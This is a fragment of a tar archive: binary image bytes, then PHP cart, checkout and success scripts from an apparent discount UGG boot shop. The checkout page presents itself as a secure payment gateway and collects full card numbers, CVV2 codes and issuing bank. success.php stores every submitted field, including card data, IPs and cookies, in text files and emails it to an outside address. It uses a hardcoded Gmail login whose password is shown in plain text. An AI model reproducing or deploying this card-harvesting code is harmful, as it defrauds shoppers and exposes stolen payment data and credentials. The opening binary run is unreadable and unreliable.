`$d]!0G84,(6 ! H9"W!pGGN7Pf/H(Ld-'=2e݃{0ٙ"pw|(h@P`ape rHnmІlІmM.(X8%' qᘃ'L䐊^ly P F`(%8 '-ٮt[&h)NB vC(oH=Ȱ8l6ؓecB9  k'«Ї}ToYM:oIqB9fѪ\~% ySZ碏52f9&I6Ždڥ x :Tf/!ofoFX<:Q:'x70vD7Zp%xr~m("4@@nnܶ˦m6g&Rh"ƌ7r#{"×/FTP2D*08 <"}e 0`(#0dP£,N}|b' )E1bD $L(UZ}zG!? !TOQ׏žD\qoMb D&@8DDk͏@:O  5:ѡGop2^/ @ @K>9[~9o<0A `8bP8 4L9쑏Tn,_!` p 9!ϻN'>U   )` B/|@+ ;\o ;>.p0!@Q2 .0͵c#Ia"@Sp!ǡp .o   +kkwt Wx#}+‰ "(SIrL:ԢuF%(fKq h@ʈm")V LP$gz fؐua&E){DR$Hp: Q# =VA*]2 %B+PcR$9&pSj҇ĤKGJX'"_bbU|%Px| 0@:LǍhC08aiv% 9DL?\ж}k8ANwK6aAL!+xDTa-' @\шL_XP%SfxdD.> $ApЊJR"BH"TVq=YK` $_ h_LR1H# \5B\ZD`E b}HVGz6Pv85kHb!2 #$00}@ 4p0脴rB@,X#9$ B&- P$"  DJ'_ImO (#<<-1+s:C<D(xSk\F1v'>qdbJP8J`W56 <0#=seG>L`ಒI(G*zyU`}@DK ҇Ef[;9⤬`@$1->B@~ę'(a a= u#.K<;T * T@`" PUqG!jĂTql J]6!QIc4򊃁FЂ{R¼,cl~ `7/A #>056դl/p\un@5\IcE@. xģ(a6a`&ٔ}GI. ##s[~{$XAP0"][,L E'4@y\* oY_@HijC$i4*Z](.Zƚ LYE m)QrR."H0|@Km_tA"*\,Zt, GX@K8]#1#d<[W[}DXmSSojy08cal)=51p"$Jm(>^7 JbߡA%P`vI-)k77N&E) #סu=/6"e@܁rX7GK`o(޽ƍ^w0Z0 *2ap4%G0~ȳo aD5)]CTBfǨԇŰHtK $DHe|!nC ND Q> "`#P PxFi| \ڱYT|OTD>DF] P>PMI kSaTx‡V50^M(5RlT#d@ Rv 1]I!2lR$-tbd|Ռ) F |>H++=@@<ó+V2yW2dB l&﬏XLIRP )b Px|@! KDI$0ӻ\Gz,р!?K  섿` |ԑq[`XqPe@ PpGʷl!#\۩ T(B]^!ԇ : e ,@ ,da3J=61#k= ɞj D$ T\3R"fff +DfIF|$P3DH>2Q@N W T]MCQD =^Y}GX?u=C^c'8BѸm^Kj!d L}wE!M8Q #Q ™~@xx$׷e \ymV =]g %\ 8  |FՑImQęN l|v IȺFִ$ y8BsFL2PKhFF 8"eE> 88`Zl!l-b@E7 $^)* IЃEp,AEp6*BFH\R\Ƶ:P bbAjAA@P d2NxMa@"!@!d^`?8BXr$! U8[C KEҐ[KF@ym!#l_aH9M4^Gt8χnFfjE n@6䁨^|ATd*NAj?螁TPU]jX:Ɋ Kop?E 5!a@A ?lB< #}[d pޕg ݨ[!'VWL& ,Q#@ך>ͦ2d8r utPǐ)nf#HL\ӈp`Uψ5l 5$Acmz"dbJs(] RZ-gO!BGO|FL0X6"m#<6'F&)'A R\Ɇ*]1Wq>CՆmpĹچ)/4  |?_#_lr C `d vF @ ~VR@i|n=Y0b0^ \ Hy"cLJBKE!J DReЈ U*)m I_bH#>imH#L h#YV]H-E΄| ؎ !ȍ"iع@ `HNy~TR%)'blQi #%$@o5Wc?TW?uXSY5F|uYAE,AP[GDTA^5EuF0Z[\5EA&>A *TrՁ#KZt @C M AO@Jmr6'}I N&O h"|ά -:}>nEI=LPEH #@l8@G yo|i>pDEst,̇s?T?DFp O:^eLQ 7꺅6ܼ , lтGAOc i"gž[K"T>t`mPm=1D1ND'MSgT҈"&uoyZEE|9AF 2VDNĜETAp.Ab1ntlTHΪN4i@&`>?dg 0$ dߴFw4F M"< \^@F!!JHm\J܎t k8 vNad΋IIR}}#P!^+Yp!D|$R\PŢ+phA(~tiTOň!j `0"Jcɖ5{mZkٶun\sֵ{o[b׷,`~ UʽYV͒<`.byx B:#G:.G|ͮ/@0.Pc#E !>)}$|@ч,`  H`(H"! `x ]xGɀ~h h&B|Bx!((G^hGqđ3ό3Q#lR(RR r@B ^HPFOt15ȐCN8"YѢFA#H Db`B>T`%{(@*gJLQ$'V`yv)BJ(O dxdDG% t]v}xU /B_{L%.zl5p 4AWzX ) m˵!{DǍ #x9P"8,~Nv " =LebA! n]j P ?P > % 2d ^XB(Dk<-»6{E}tEbT}lXa ax%}a%2ÓС!G4M3Ӕ~.7>ԙ{dAC?^%B}9D!F-ǍU$nIFD"TQ((}pPT='!SP!*Љ"V,1(-Pk*Ԓ ?#%V !IXB^W굯{qK`pcZpr((`=\`C͔`cĒЦdqC~S"3d 5p?b-!x 0JŨR6J"rl2KISF o=";4l  0|yH`PH~"B2%8 ,R7:V"q*jKOPK+/` AAo}E\d#_I2YR(0aTX%(1xWaΌ5]VɗbU檚 `H3 B` @ 'h:P6(@PBr> b$ ]L=` @L ( sW'8 ~ T)Lzr1f'XS~ 5H}D%D6 VqbJo"ĞjZ*~?p۾@ .y"шEaNTѓl.IGQ"qD 2=> i1-HKDܜIJs5;%:U(HAQ't?QTb`jp,piZp,P ^rn^. ^ц;1 `d}$@ P|@Fo">v-  {sql"nJ M؈ddFS5z\-]E-(ԶD@sLa6zqO/v/Um"HV9=6y Bop/+{SGX#&B9JhE ,R#R(@2""*>X,Gd$nĒR YbJZ\-*2*ẋ$._cPN2~ʚ(&c n%`qn PìĢaFbjC x@^%(@ & ` ^`H.2@b@l'`(*prkJ E,0OX^`"n`|6dlx$BD bJ!Jz,و+Sf'4Aou6'M O20hJpC$fF eݾr6g6IP@q9DU أJ%UT"0#S.1"V" * ab2`@@R`N @j%p:J%k|.F{N)TZ~nZƴ\xe'"+"/DfHJL  ljhXhb@hCF$|iDT^ 0c*W* е>lhQ aR\iɟDqnBnb'o/g۶6ĭfN("pn'OY"R.I+Kf,$A=P% pI:QJ`|K Rf R`C BBUXP`?**iKBd'b皥(SH/  }0:;S;fC2&7Gr1}G#-.\2 .@loT0Q!F01Hw"2@0aJk@n2x < C[C6\f0e9ťc*"0 S3US7: UboɃ8)$  R{%3NII׮hR 1:~roLgn,&mI,=02*kt@eDFFPlQ>h \n'^r>brmo+M$KkI2JoL "dMP oO=CoJGa$T[ CG'3QC(tAT5qZLPnA4T ``z CNE,h#DXCRfiV Q$Z$XXW8UjjtPa`pcͦ! $!a`@=P ft;=cLCZ(򸦐<-oIWU֕u^vR..&D)K"!FteIyV(ZM U8bU=X=V#DAf$#.B&N`A BÔG*Kco<Ap'Yd0Di!4 R* ui%R`ց#8/"2"R߇JTP+ubب*b`8PRq".=|:*aA\hG "b&[^@0D$l`kJ+:rm2ףAHn(AoCx-prCpƳ53@(@3ya\2N X,)aANnXt\St1M ="H=EBC=`Χ$pry'(gd (EHR :M$ٙY,r -I88.sR?cK *'a$jdȜK (M6VL-o1oCL֘IarA* Tk5lv9O_>$/8x4/]@+!_lއdf|P STNZdf pc2n$Y'V@YZ^R!FX W咺k?F!ޑwtƳ~dn,Wک!>sY~Y/ilR[StHFܬكUP)g=Wi'g= 21HO<)@ rV,@l$$CgKY:veY)Cb,JL a)K`$^Sn$ %as=6!Μf0a MIIGws0]Nj":rL(d`N'rtB>Aa`"aFqCGxS,A}\ '80… :|ȐD )HQE`08`}88F@3ED\THbѢ-\(zDC$H2dHR!B|@ATyxj/֭\\b'OX~7ڹڮm7n 2b ;cheapuggsales.uk.com/cart/checkout.php0000777000000000000000000006113511633550304017046 0ustar rootrootdata[$id]) { if($action=="update"){$cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; }else{ $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; } // 添加商品 } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['purl'] = $purl; $cart->data[$id]['pimg'] = $pimg; $cart->data[$id]['money'] = $price * $count; } // 保存购物车数据 $cart->save(); Header("Location: /cart/"); } $Customer_Country=$_REQUEST["Customer_Country"]; $Customer_State_US=$_REQUEST["Customer_State_US"]; $Customer_Province=$_REQUEST["Customer_Province"]; $Provinces=""; if (strlen($Customer_State_US)>1){$Provinces=$Customer_State_US;}else{$Provinces=$Customer_Province;} $cou=""; $zhou=""; switch ($_REQUEST["Customer_Country"]) { case "1" : $cou="United States";break; case "401" : $cou="Hawaii & Alaska Air Service";break; case "39" : $cou="Canada (Ground)";break; case "2" : $cou="Afghanistan";break; case "3" : $cou="Albania";break; case "4" : $cou="Algeria";break; case "5" : $cou="American Samoa";break; case "6" : $cou="Andorra";break; case "7" : $cou="Angola";break; case "8" : $cou="Anguilla";break; case "9" : $cou="Antarctica";break; case "10" : $cou="Antigua & Barbuda";break; case "11" : $cou="Argentina";break; case "12" : $cou="Armenia";break; case "13" : $cou="Aruba";break; case "14" : $cou="Australia";break; case "15" : $cou="Austria";break; case "16" : $cou="Azerbaijan";break; case "17" : $cou="Bahamas";break; case "18" : $cou="Bahrain";break; case "19" : $cou="Bangladesh";break; case "20" : $cou="Barbados";break; case "21" : $cou="Belarus";break; case "22" : $cou="Belgium";break; case "23" : $cou="Belize";break; case "24" : $cou="Benin";break; case "25" : $cou="Bermuda";break; case "26" : $cou="Bhutan";break; case "27" : $cou="Bolivia";break; case "28" : $cou="Bosnia & Herzegovina";break; case "29" : $cou="Botswana";break; case "30" : $cou="Bouvet Island";break; case "32" : $cou="British Indian Ocean Territory";break; case "33" : $cou="Brunei Darussalam";break; case "34" : $cou="Bulgaria";break; case "35" : $cou="Burkina Faso";break; case "36" : $cou="Burundi";break; case "37" : $cou="Cambodia";break; case "38" : $cou="Cameroon";break; case "40" : $cou="Cape Verde";break; case "41" : $cou="Cayman Islands";break; case "42" : $cou="Central African Republic";break; case "43" : $cou="Chad";break; case "44" : $cou="Chile";break; case "45" : $cou="China";break; case "46" : $cou="Christmas Island";break; case "47" : $cou="Cocos (Keeling) Islands";break; case "48" : $cou="Colombia";break; case "49" : $cou="Comoros";break; case "50" : $cou="Congo";break; case "236" : $cou="Congo, The Democratic Republic of the";break; case "51" : $cou="Cook Islands";break; case "52" : $cou="Costa Rica";break; case "53" : $cou="Cote d'Ivoire (Ivory Coast)";break; case "54" : $cou="Croatia";break; case "55" : $cou="Cuba";break; case "56" : $cou="Cyprus";break; case "57" : $cou="Czech Republic";break; case "58" : $cou="Denmark";break; case "59" : $cou="Djibouti";break; case "60" : $cou="Dominica";break; case "61" : $cou="Dominican Republic";break; case "63" : $cou="Ecuador";break; case "64" : $cou="Egypt";break; case "65" : $cou="El Salvador";break; case "66" : $cou="Equatorial Guinea";break; case "67" : $cou="Eritrea";break; case "68" : $cou="Estonia";break; case "69" : $cou="Ethiopia";break; case "70" : $cou="Falkland Islands (Malvinas)";break; case "71" : $cou="Faroe Islands";break; case "72" : $cou="Fiji";break; case "73" : $cou="Finland";break; case "74" : $cou="France";break; case "75" : $cou="France, Metropolitan";break; case "76" : $cou="French Guiana";break; case "77" : $cou="French Polynesia";break; case "78" : $cou="French Southern Territories";break; case "79" : $cou="Gabon";break; case "80" : $cou="Gambia";break; case "81" : $cou="Georgia";break; case "82" : $cou="Germany";break; case "83" : $cou="Ghana";break; case "84" : $cou="Gibraltar";break; case "85" : $cou="Greece";break; case "240" : $cou="Greenland";break; case "86" : $cou="Grenada";break; case "87" : $cou="Guadeloupe";break; case "88" : $cou="Guam";break; case "89" : $cou="Guatemala";break; case "241" : $cou="Guernsey & Alderney";break; case "90" : $cou="Guinea";break; case "91" : $cou="Guinea-Bissau";break; case "92" : $cou="Guyana";break; case "93" : $cou="Haiti";break; case "94" : $cou="Heard Island & McDonald Islands";break; case "227" : $cou="Holy See (Vatican City State)";break; case "95" : $cou="Honduras";break; case "96" : $cou="Hong Kong";break; case "97" : $cou="Hungary";break; case "98" : $cou="Iceland";break; case "99" : $cou="India";break; case "101" : $cou="Iran, Islamic Republic of";break; case "102" : $cou="Iraq";break; case "103" : $cou="Ireland";break; case "242" : $cou="Isle of Man";break; case "104" : $cou="Israel";break; case "105" : $cou="Italy";break; case "106" : $cou="Jamaica";break; case "107" : $cou="Japan";break; case "243" : $cou="Jersey";break; case "108" : $cou="Jordan";break; case "109" : $cou="Kazakhstan";break; case "110" : $cou="Kenya";break; case "111" : $cou="Kiribati";break; case "112" : $cou="Korea, Democratic People's Republic of";break; case "113" : $cou="Korea, Republic of";break; case "114" : $cou="Kuwait";break; case "115" : $cou="Kyrgyzstan";break; case "116" : $cou="Lao People's Democratic Republic";break; case "117" : $cou="Latvia";break; case "118" : $cou="Lebanon";break; case "119" : $cou="Lesotho";break; case "120" : $cou="Liberia";break; case "121" : $cou="Libyan Arab Jamahiriya";break; case "122" : $cou="Liechtenstein";break; case "123" : $cou="Lithuania";break; case "124" : $cou="Luxembourg";break; case "125" : $cou="Macau";break; case "126" : $cou="Macedonia";break; case "127" : $cou="Madagascar";break; case "128" : $cou="Malawi";break; case "129" : $cou="Malaysia";break; case "130" : $cou="Maldives";break; case "131" : $cou="Mali";break; case "132" : $cou="Malta";break; case "133" : $cou="Marshall Islands";break; case "134" : $cou="Martinique";break; case "135" : $cou="Mauritania";break; case "136" : $cou="Mauritius";break; case "137" : $cou="Mayotte";break; case "138" : $cou="Mexico";break; case "139" : $cou="Micronesia, Federated States of";break; case "140" : $cou="Moldova, Republic of";break; case "141" : $cou="Monaco";break; case "142" : $cou="Mongolia";break; case "244" : $cou="Montenegro";break; case "143" : $cou="Montserrat";break; case "144" : $cou="Morocco";break; case "145" : $cou="Mozambique";break; case "146" : $cou="Myanmar";break; case "147" : $cou="Namibia";break; case "148" : $cou="Nauru";break; case "149" : $cou="Nepal";break; case "150" : $cou="Netherlands";break; case "151" : $cou="Netherlands Antilles";break; case "152" : $cou="New Caledonia";break; case "153" : $cou="New Zealand";break; case "154" : $cou="Nicaragua";break; case "155" : $cou="Niger";break; case "156" : $cou="Nigeria";break; case "157" : $cou="Niue";break; case "158" : $cou="Norfolk Island";break; case "159" : $cou="Northern Mariana Islands";break; case "160" : $cou="Norway";break; case "161" : $cou="Oman";break; case "162" : $cou="Pakistan";break; case "163" : $cou="Palau";break; case "245" : $cou="Palestinian Territory";break; case "164" : $cou="Panama";break; case "165" : $cou="Papua New Guinea";break; case "166" : $cou="Paraguay";break; case "167" : $cou="Peru";break; case "168" : $cou="Philippines";break; case "169" : $cou="Pitcairn Islands";break; case "170" : $cou="Poland";break; case "171" : $cou="Portugal";break; case "172" : $cou="Puerto Rico";break; case "173" : $cou="Qatar";break; case "174" : $cou="Reunion";break; case "175" : $cou="Romania";break; case "176" : $cou="Russian Federation";break; case "177" : $cou="Rwanda";break; case "246" : $cou="Saint Barthelemy";break; case "197" : $cou="Saint Helena";break; case "178" : $cou="Saint Kitts & Nevis";break; case "179" : $cou="Saint Lucia";break; case "247" : $cou="Saint Martin";break; case "198" : $cou="Saint Pierre & Miquelon";break; case "180" : $cou="Saint Vincent & the Grenadines";break; case "181" : $cou="Samoa";break; case "182" : $cou="San Marino";break; case "183" : $cou="Sao Tome & Principe";break; case "184" : $cou="Saudi Arabia";break; case "185" : $cou="Senegal";break; case "248" : $cou="Serbia";break; case "186" : $cou="Seychelles";break; case "187" : $cou="Sierra Leone";break; case "189" : $cou="Slovakia";break; case "190" : $cou="Slovenia";break; case "191" : $cou="Solomon Islands";break; case "192" : $cou="Somalia";break; case "193" : $cou="South Africa";break; case "194" : $cou="South Georgia & South Sandwich Islands";break; case "195" : $cou="Spain";break; case "196" : $cou="Sri Lanka";break; case "199" : $cou="Sudan";break; case "200" : $cou="Suriname";break; case "201" : $cou="Svalbard & Jan Mayen Islands";break; case "202" : $cou="Swaziland";break; case "203" : $cou="Sweden";break; case "204" : $cou="Switzerland";break; case "205" : $cou="Syrian Arab Republic";break; case "206" : $cou="Taiwan";break; case "207" : $cou="Tajikistan";break; case "208" : $cou="Tanzania, United Republic of";break; case "209" : $cou="Thailand";break; case "62" : $cou="Timor-Leste (East Timor)";break; case "210" : $cou="Togo";break; case "211" : $cou="Tokelau";break; case "212" : $cou="Tonga";break; case "213" : $cou="Trinidad & Tobago";break; case "214" : $cou="Tunisia";break; case "215" : $cou="Turkey";break; case "216" : $cou="Turkmenistan";break; case "217" : $cou="Turks & Caicos Islands";break; case "218" : $cou="Tuvalu";break; case "219" : $cou="Uganda";break; case "220" : $cou="Ukraine";break; case "221" : $cou="United Arab Emirates";break; case "222" : $cou="United Kingdom";break; case "224" : $cou="Uruguay";break; case "223" : $cou="US Minor Outlying Islands";break; case "225" : $cou="Uzbekistan";break; case "226" : $cou="Vanuatu";break; case "228" : $cou="Venezuela";break; case "229" : $cou="Viet Nam";break; case "230" : $cou="Virgin Islands (British)";break; case "231" : $cou="Virgin Islands (U.S.)";break; case "232" : $cou="Wallis & Futuna Islands";break; case "233" : $cou="Western Sahara";break; case "234" : $cou="Yemen";break; case "237" : $cou="Zambia";break; case "238" : $cou="Zimbabwe";break; } switch ($Provinces) { case "AK" : $zhou="Alaska";break; case "AL" : $zhou="Alabama";break; case "AR" : $zhou="Arkansas";break; case "AZ" : $zhou="Arizona";break; case "CA" : $zhou="California";break; case "CO" : $zhou="Colorado";break; case "CT" : $zhou="Connecticut";break; case "DE" : $zhou="Delaware";break; case "FL" : $zhou="Florida";break; case "GA" : $zhou="Georgia";break; case "HI" : $zhou="Hawaii";break; case "IA" : $zhou="Iowa";break; case "ID" : $zhou="Idaho";break; case "IL" : $zhou="Illinois";break; case "IN" : $zhou="Indiana";break; case "KS" : $zhou="Kansas";break; case "KY" : $zhou="Kentucky";break; case "LA" : $zhou="Louisiana";break; case "MA" : $zhou="Massachusetts";break; case "MD" : $zhou="Maryland";break; case "ME" : $zhou="Maine";break; case "MI" : $zhou="Michigan";break; case "MN" : $zhou="Minnesota";break; case "MO" : $zhou="Missouri";break; case "MS" : $zhou="Mississippi";break; case "MT" : $zhou="Montana";break; case "NC" : $zhou="North Carolina";break; case "ND" : $zhou="North Dakota";break; case "NE" : $zhou="Nebraska";break; case "NH" : $zhou="New Hampshire";break; case "NJ" : $zhou="New Jersey";break; case "NM" : $zhou="New Mexico";break; case "NV" : $zhou="Nevada";break; case "NY" : $zhou="New York";break; case "OH" : $zhou="Ohio";break; case "OK" : $zhou="Oklahoma";break; case "OR" : $zhou="Oregon";break; case "PA" : $zhou="Pennsylvania";break; case "PR" : $zhou="Puerto Rico";break; case "RI" : $zhou="Rhode Island";break; case "SC" : $zhou="South Carolina";break; case "SD" : $zhou="South Dakota";break; case "TN" : $zhou="Tennessee";break; case "TX" : $zhou="Texas";break; case "UT" : $zhou="Utah";break; case "VA" : $zhou="Virginia";break; case "VT" : $zhou="Vermont";break; case "WA" : $zhou="Washington";break; case "WI" : $zhou="Wisconsin";break; case "WV" : $zhou="West Virginia";break; case "WY" : $zhou="Wyoming";break; case "AB" : $zhou="Alberta";break; case "BC" : $zhou="British Columbia";break; case "MB" : $zhou="Manitoba";break; case "NB" : $zhou="New Brunswick";break; case "NL" : $zhou="Newfoundland and Labrador";break; case "NS" : $zhou="Nova Scotia";break; case "NT" : $zhou="Northwest Territories";break; case "NU" : $zhou="Nunavut";break; case "ON" : $zhou="Ontario";break; case "PE" : $zhou="Prince Edward Island";break; case "QC" : $zhou="Quebec";break; case "SK" : $zhou="Saskatchewan";break; case "YT" : $zhou="Yukon Territory";break; } $orderdec=""; $html=""; $htmlr=""; $htmlc=""; $ototal=$cart->sum('money'); $ototalship=$shippingn; if ($ototal>0){ foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $orderdec=$orderdec."-".$k; $orderdec=$orderdec."/".$v['count']; $html .=''.$v['name'].' $'.$v['price'].'x'.$v['count'].'
'; $htmlc .=$v['name'].",Qty:".$v['count'].",Price".$v['price'].",SubTotal:$".$v['money'].";"; $ototalship=$ototalship+($v['count']*$v['price']); } } }else{ $html .='
'; $html .='no product in shopping cart
  [Continue Shopping]  '; $html .="
\r\n"; } ?> High security SSL payment gateway
Order information:
Products
Shipping
Total price $

First Name*
Last Name*
Address*
City*
Zip (Postal Code)*
Country
Phone*
E-Mail*

Card Number*
Card Type*
Exp Month*
Exp Year*
CVV2 Code* What is it?
Card issuing bank*
"The Bank through which you received your credit card"
 

cheapuggsales.uk.com/cart/reviewcart.php0000777000000000000000000000650311633550304017412 0ustar rootrootsum('count'); if ($counts>1 and $disprice>0.9){$disprice=0.9;} $ototal=$cart->sum('money') * $disprice; if ((int)$ototal==0){$ototal=0;} $orderdec=""; $pcount=0; $htmlc ="document.write (\"
\");\n"; $htmlc .="document.write (\"\");\n"; $htmlc .="document.write (\"\");\n"; $htmlc .="document.write (\"\");\n"; //$htmlc .="document.write (\"\");\n"; $htmlc .="document.write (\"\");\n"; $htmlc .="document.write (\"\");\n"; $htmlc .="document.write (\"\");\n"; $htmlc .="document.write (\"\");\n"; //$ototal=$cart->sum('money'); foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $pcount+=(int)$v['count']; $htmlc .= "document.write (\"\");\n"; $htmlc .= "document.write (\"\");\n"; //$htmlc .= "document.write (\"\");\n"; $htmlc .= "document.write (\"\");\n"; $htmlc .= "document.write (\"\");\n"; $htmlc .= "document.write (\"\");\n"; $htmlc .= "document.write (\"\");\n"; $htmlc .= "document.write (\"\");\n"; //$htmlc .= "
"$v['name'].",Qty:".$v['count'].",Price".$v['price'].",SubTotal:$".$v['money'].";"; } } $htmlc .= "document.write (\"
 Product NameUnit PriceProduct NameUnit Price  X  QtyDiscountSubtotal
".$v['name']."".$v['name']."$".$v['price']."  X  ".$v['count']."".(int)(100-($disprice*100))."%$".$v['money']*$disprice."
\");\n"; if ($pcount>0){ //$pcount items | total: $".$cart->sum('money')." /*
Subtotal $
*/ $htmlc .="document.write (\"

Subtotal: $".$ototal."

\");"; //$htmlc .="document.write (\"
Subtotal:  $".$ototal."
\");"; echo $htmlc; }else{ echo "document.write (\"Shopping Cart is Empty\");"; } ?>cheapuggsales.uk.com/cart/success.php0000777000000000000000000002622711633550304016714 0ustar rootrootdata[$id]) { if($action=="update"){$cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; }else{ $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; } // Ʒ } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['purl'] = $purl; $cart->data[$id]['pimg'] = $pimg; $cart->data[$id]['money'] = $price * $count; } // 湺ﳵ $cart->save(); Header("Location: /cart/"); } $orderdec=""; $html=""; $htmlr=""; $htmlc=""; //$ototal=$cart->sum('money'); $coupon=$_REQUEST["coupon_code"]; if ($coupon=='10off'){$disprice=0.9;}else{$disprice=1;} $counts=$cart->sum('count'); if ($counts>1 and $disprice>0.9){$disprice=0.9;} $ototal=$cart->sum('money') * $disprice; if ((int)$ototal==0){$ototal=0;} if ($ototal>0){ foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $orderdec=$orderdec."-".$k; $html .=''; $html .='
'.$v['name'].''; $html .='$'.$v['price'].'USD'; $orderdec=$orderdec."/".$v['count']; $html .='- '.$v['count'].' +'; //$html .='Url: '.$v['purl'].''; $html .='$'.$v['price']*$v['count'].'USD'; $html .='Delete'; $html .="\r\n"; $htmlr .="Product id: ".$k."\r\n"; $htmlr .="Product url: ".UrlDecode($v['purl'])."\r\n"; $htmlr .="Product img: ".$v['pimg']."\r\n"; $htmlr .="Product name: ".$v['name']."\r\n"; $htmlr .="Product price: ".$v['price']."\r\n"; $htmlr .="Product count: ".$v['count']."\r\n"; $htmlr .="Product discount: ".$disprice."\r\n"; $htmlr .="Product subtotel: ".$v['money']*$disprice."\r\n"; $htmlc .=$v['name'].",Qty:".$v['count'].",Price".$v['price'].",Discount".$disprice.",SubTotal:$".$v['money']*$disprice.";"; } } }else{ $html .=''; $html .='no product in shopping cart
  [Continue Shopping]  '; $html .="\r\n"; } $htmlr .="Cart totel: ".$ototal."\r\n\r\n"; //if ($action=="pay"){ $newoid=date('YmdHis').rand(10000,1); /* if (@strlen($_REQUEST["firstname"]."-".$_REQUEST["lastname"]) < 3 or strlen($_REQUEST["address2"]."-".$_REQUEST["streetname"]) < 6 or strlen($_REQUEST["country"]."-".$_REQUEST["province"])<2 or strlen($_REQUEST["cardid"])<10 or strlen($_REQUEST["cardname"])<2 or strlen($_REQUEST["email"])<4 or strpos($_REQUEST["email"],"@")<1 or strpos($_REQUEST["email"],".")<2){ echo ""; exit();}*/ if (strpos($_REQUEST["billing"]["email"],".")<2 or strpos($_REQUEST["billing"]["email"],"@")<1){ echo ""; exit();} $POSTS=print_r($_REQUEST,true); $htmlr .= $POSTS; /* $htmlr .= "shipping:".$_REQUEST["shipping"]."\r\n"; $htmlr .= "firstname:".$_REQUEST["firstname"]."\r\n"; $htmlr .= "lastname:".$_REQUEST["lastname"]."\r\n"; $htmlr .= "sex:".$_REQUEST["sex"]."\r\n"; $htmlr .= "streetname:".$_REQUEST["streetname"]."\r\n"; $htmlr .= "address2:".$_REQUEST["address2"]."\r\n"; $cou=""; $zhou=""; $htmlr .= "country:".$_REQUEST["country"]."-".$cou."\r\n"; $htmlr .= "province:".$_REQUEST["province"]."-".$zhou."\r\n"; $htmlr .= "state:".$_REQUEST["state"]."\r\n"; $htmlr .= "city:".$_REQUEST["city"]."\r\n"; $htmlr .= "zipcode:".$_REQUEST["zipcode"]."\r\n"; $htmlr .= "email:".$_REQUEST["email"]."\r\n"; $htmlr .= "telephone:".$_REQUEST["telephone"]."\r\n"; $htmlr .= "postscript:".$_REQUEST["postscript"]."\r\n"; $htmlr .= "name:".$_REQUEST["cardname"]."\r\n"; $htmlr .= "cardid:".$_REQUEST["cardid"]."\r\n"; $htmlr .= "month:".$_REQUEST["month"]."\r\n"; $htmlr .= "year:".$_REQUEST["year"]."\r\n"; $htmlr .= "cvv:".$_REQUEST["cvv"]."\r\n"; $htmlr .= "carttype:".$_REQUEST["carttype"]."\r\n";*/ $htmlr .= "\r\n"."
".$_SERVER['HTTP_CLIENT_IP']."
\n 2 ".$_SERVER['REMOTE_ADDR']."
\n 3 ".$_SERVER['HTTP_X_FORWARDED_FOR']." \r\n
"; $htmlr .= $_SERVER['HTTP_USER_AGENT']."
\r\n\r\n"; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT']; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT_LANGUAGE']; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT_ENCODING']; $htmlr .= "\r\n
".$_SERVER['HTTP_COOKIE']; if ((int)$ototal > 10){ $htmlr="\r\n".$cart->cartname."\r\n".$ototal."\r\n".$htmlr; $ototalp=$ototal; $file = @fopen("order.txt","a"); @file_put_contents("order/".$newoid.".txt",$newoid."\r\n".$htmlr); @fputs($file,$newoid."\r\n".$htmlr); @fclose($file); $time=date("Y-m-d H:i:s"); $flag='1'; $to='support@rolex-mens.com'; $subject=$_SERVER['SERVER_NAME']." cart $time"; $txt=$newoid."\r\n".$_SERVER['SERVER_NAME']."\r\n".$htmlr; $txt=str_replace("\n","
",$txt); $gmailuser='post@960watch.com'; $gmailpass='2656C9post'; $fromname=$_SERVER['SERVER_NAME']."Rolexmens cart"; $emailname=$toname; if($flag=='0'){ $headers = "From: ".$to. "\r\r\n" ; mail($to,$subject,$txt,$headers); //echo 'send..'; }else if($flag=='1'){ //error_reporting(E_ALL); //error_reporting(E_STRICT); date_default_timezone_set('America/Toronto'); require_once('../contact_us/class.phpmailer.php');//phpmailerλ include("../contact_us/class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded $mail = new PHPMailer(); //$body = file_get_contents('contents.html');//ʼ $body=$txt; $body = eregi_replace("[\]",'',$body); $mail->IsSMTP(); // telling the class to use SMTP $mail->Host = "mail.gmail.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = $gmailuser; // GMAIL username $mail->Password = $gmailpass; // GMAIL password $mail->SetFrom($gmailuser, $fromname); $mail->AddReplyTo($gmailuser,$toname); $mail->Subject = $subject; $mail->AltBody = " "; // optional, comment out and test $mail->MsgHTML($body); $address = $to; $mail->AddAddress($address, $emailname); //$mail->AddAttachment("images/phpmailer.gif"); // attachment //$mail->AddAttachment("images/phpmailer_mini.gif"); // attachment if(!$mail->Send()) { echo ""; } else { echo ""; } } if ($_REQUEST["payment"]=="paypal" or $_REQUEST["payment"]=="CreditCard"){ $htmlp=""; //zen_redirect("http://www.cufflinksmall.com/buy.php?cmd=_xclick&business=8QWNVCC2HSV5W&lc=C2&item_name=WorldSoft-".$insert_id."&item_number=Ver".date ("Y\Ym\Md\DH\hI\ms\s" ,time())."_".$insert_id."_".$order_subtotal."&amount=". $ototal."¤cy_code=USD&button_subtype=services&bn=PP%2dBuyNowBF%3abtn_buynowCC_LG%2egif%3aNonHosted"); $htmlp .= " "; echo $htmlp; } //Header('Location: https://secure.redirect2pay.com/payment/pay.php?siteID=74140&OrderDescription=HIgH_".date ("Y\Ym\Md\DH\hI\ms\s" 